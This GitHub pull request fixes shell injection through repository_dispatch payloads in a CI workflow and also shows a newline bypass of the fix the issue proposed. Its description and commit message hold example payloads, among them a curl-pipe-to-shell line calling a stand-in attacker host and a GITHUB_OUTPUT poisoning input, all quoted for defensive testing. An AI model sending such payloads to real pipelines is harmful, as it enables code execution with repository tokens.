Skip to content

fix(ci): stop shell injection via repository_dispatch payload in sdk-smoke (#206) - #235

Open
dcccrypto wants to merge 1 commit into
mainfrom
fix/api-206-workflow-script-injection
Open

fix(ci): stop shell injection via repository_dispatch payload in sdk-smoke (#206)#235
dcccrypto wants to merge 1 commit into
mainfrom
fix/api-206-workflow-script-injection

Conversation

@dcccrypto

Copy link
Copy Markdown
Owner

Fixes #206.

What

.github/workflows/sdk-smoke.yml interpolated event-controlled data directly into run: blocks. GitHub Actions expands ${{ }} before the shell parses the line, so the surrounding quotes never contain the injected string:

VERSION="${{ github.event.client_payload.version }}"

A dispatch payload of 1.0.0"; curl https://attacker/x | sh; echo " executes arbitrary commands on the runner with the job's write-scoped GITHUB_TOKEN. The tainted value flowed onward into pnpm add, the verify step and the report step — four injection points.

This is the cross-repo seam the SDK post-publish workflow drives via gh api .../dispatches, so a compromised SDK pipeline or a leaked PAT pivots straight into this runner.

Fix

All event-controlled data now moves through env:, so it is never expanded into script text, plus a semver allowlist gate.

⚠️ The fix proposed in the issue is bypassable — hardened further

#206 suggests gating with an anchored grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'. That alone is not sufficient, and I confirmed the bypass before hardening. grep is line-oriented, so:

1.0.0
touch /tmp/pwned

matches the pattern on its first line and passes the gate. The multi-line value then hits:

echo "version=$VERSION" >> "$GITHUB_OUTPUT"

writing an extra raw line into $GITHUB_OUTPUT, which GitHub parses as an additional step output — step-output poisoning that survives into every downstream step.

Measured against the issue's exact suggested regex:

case issue's regex this PR
1.0.0\ntouch /tmp/pwned exit 0 — passes exit 1 ✅

Hardened by running a case guard first, which matches the whole string (newlines included) and rejects any character outside the semver alphabet:

case "$VERSION" in
  ""|*[!0-9A-Za-z.-]*) echo "Refusing ..."; exit 1 ;;
esac

How to test

The step script was extracted straight out of the shipped YAML (not retyped) and run against every vector. Attack cases must exit 1 and write nothing to $GITHUB_OUTPUT:

case exit $GITHUB_OUTPUT lines
issue PoC 1.0.0"; touch /tmp/pwned; echo " 1 ✅ 0
curl | sh RCE 1 ✅ 0
backtick subshell 1 ✅ 0
$( ) subshell 1 ✅ 0
via workflow_dispatch input 1 ✅ 0
newline injection (prior bypass) 1 ✅ 0
newline + version=evil output poisoning 1 ✅ 0
leading/trailing whitespace 1 ✅ 0
1.0.0-beta.33 / 2.0.9 / 3.0.0 0 ✅ 1
no payload → pinned default 0 ✅ 1

/tmp/pwned was never created. A YAML-parser check also confirms no ${{ }} remains inside any run: block in the file. Actions stay pinned by full commit SHA.

Note: this workflow is also failing nightly for an unrelated reason

SDK publish smoke has failed every night (exit 254) — but at the pnpm install --frozen-lockfile step, which hits the same missing-sibling-SDK ENOENT as #232. That is not addressed here, deliberately: this PR is a self-contained security fix and I did not want to mix a CI-plumbing change into it. So this workflow will keep failing nightly until #233 lands and the same sibling checkout is applied here. Worth a follow-up — flagging rather than silently bundling.

🤖 Generated with Claude Code

…smoke (#206)

`${{ github.event.client_payload.version }}` and `${{ inputs.sdk_version }}`
are expanded by GitHub Actions before the shell parses the line, so the
surrounding quotes never contain the injected string. A dispatch payload of

    1.0.0"; curl https://attacker/x | sh; echo "

executed arbitrary commands on the runner with the job's write-scoped
GITHUB_TOKEN. The tainted value flowed on into `pnpm add` and the verify and
report steps, giving four injection points in total.

Passes all event-controlled data through `env:` instead, so it is never
expanded into the script text, and gates it behind a semver allowlist.

Hardening beyond the fix proposed in #206: an anchored `grep -E '^...$'` alone
is NOT sufficient, because grep is line-oriented. A value of

    $'1.0.0\ntouch /tmp/pwned'

matches the pattern on its first line while smuggling a second line into
$GITHUB_OUTPUT, which GitHub parses as an additional step output. Verified this
bypass against the issue's suggested regex before hardening. A `case` guard
rejecting any character outside the semver alphabet runs first — `case` matches
the whole string, newlines included.

Verified by extracting the shipped step script straight out of the YAML and
running it against each vector (attack cases must exit 1 and write nothing to
$GITHUB_OUTPUT):

  issue PoC / curl|sh RCE                      exit 1, 0 output lines
  backtick and $() subshells                   exit 1, 0 output lines
  workflow_dispatch input vector               exit 1, 0 output lines
  newline injection + GITHUB_OUTPUT poisoning  exit 1, 0 output lines
  leading/trailing whitespace                  exit 1, 0 output lines
  1.0.0-beta.33 / 2.0.9 / 3.0.0                exit 0, 1 output line
  no payload -> pinned default                 exit 0, 1 output line

/tmp/pwned was never created. A parser check also confirms no `${{ }}` remains
inside any `run:` block in the file.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@vercel

vercel Bot commented Jul 20, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
percolator-api Error Error Jul 20, 2026 6:13pm

Request Review

@coderabbitai

coderabbitai Bot commented Jul 20, 2026

Copy link
Copy Markdown

Warning

Review limit reached

@dcccrypto, you've reached your PR review limit, so we couldn't start this review.

Next review available in: 7 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 8b5f9637-8344-4d54-a711-3f823fe67abb

📥 Commits

Reviewing files that changed from the base of the PR and between b2751f4 and eaab6c2.

📒 Files selected for processing (1)
  • .github/workflows/sdk-smoke.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/api-206-workflow-script-injection

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

CI script injection via repository_dispatch / workflow_dispatch payload

1 participant